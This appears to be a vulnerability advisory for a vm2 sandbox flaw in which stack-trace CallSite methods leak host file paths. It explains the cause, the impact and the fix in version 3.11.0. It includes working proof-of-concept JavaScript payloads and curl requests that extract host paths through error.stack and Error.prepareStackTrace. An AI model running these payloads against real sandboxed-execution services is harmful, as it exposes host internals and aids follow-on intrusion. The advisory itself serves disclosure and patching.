CVE-2026-44002: vm2: Host File Path Disclosure via Stack Trace Information Leak
Summary vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.
Details In lib/setup-sandbox.js:436-466, the CallSite class overrides getThis() and getFunction() with undefined to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:
- getFileName() — returns host absolute paths like /app/nodemodules/vm2/lib/vm.js - getLineNumber(), getColumnNumber() — exact source locations - getFunctionName(), getMethodName(), getTypeName() — internal function names
Two exploitation paths exist: 1. Default error.stack: new Error().stack includes host frame paths in the formatted string 2. Custom prepareStackTrace: Attacker can set Error.prepareStackTrace to directly call getFileName() on each CallSite, extracting a clean list of all host paths
PoC
Library-level PoC (Node.js script — primary): javascript const { VM } = require("vm2"); const vm = new VM();
// Path A — Default error.stack const result1 = vm.run(try { null.x; } catch(e) { e.stack }); console.log(result1); // Output includes: /app/nodemodules/vm2/lib/vm.js:289:18 // /app/src/server.js:49:20
// Path B — prepareStackTrace extraction const result2 = vm.run( Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(", "); }; new Error().stack ); console.log(result2); // Output: vm.js, node:vm, /app/nodemodules/vm2/lib/vm.js, /app/src/sandbox.js, ...
HTTP demonstration: bash Default error.stack curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"try { null.x; } catch(e) { e.stack }"}' Result includes host paths: /app/src/server.js, /app/nodemodules/express/...
prepareStackTrace extraction curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\", \"); }; new Error().stack"}' Result: /app/nodemodules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...
Impact - Information Disclosure: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code. - Attack Chain: Leaked paths enable precise targeting for other vulnerabilities. - Scope: All applications using vm2. No special configuration required.
Other sources
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44002?
CVE-2026-44002 is considered a moderate severity vulnerability due to the potential disclosure of sensitive directory structures.
How do I fix CVE-2026-44002?
To fix CVE-2026-44002, upgrade vm2 to version 3.11.0 or later.
What does CVE-2026-44002 affect?
CVE-2026-44002 affects the vm2 package version 3.10.5 and earlier.
What type of vulnerability is CVE-2026-44002?
CVE-2026-44002 is an information disclosure vulnerability that allows sandboxed code to access unsanitized host absolute paths.
Can CVE-2026-44002 lead to further attacks?
Yes, CVE-2026-44002 can potentially lead to further attacks by exposing the full directory structure of the host.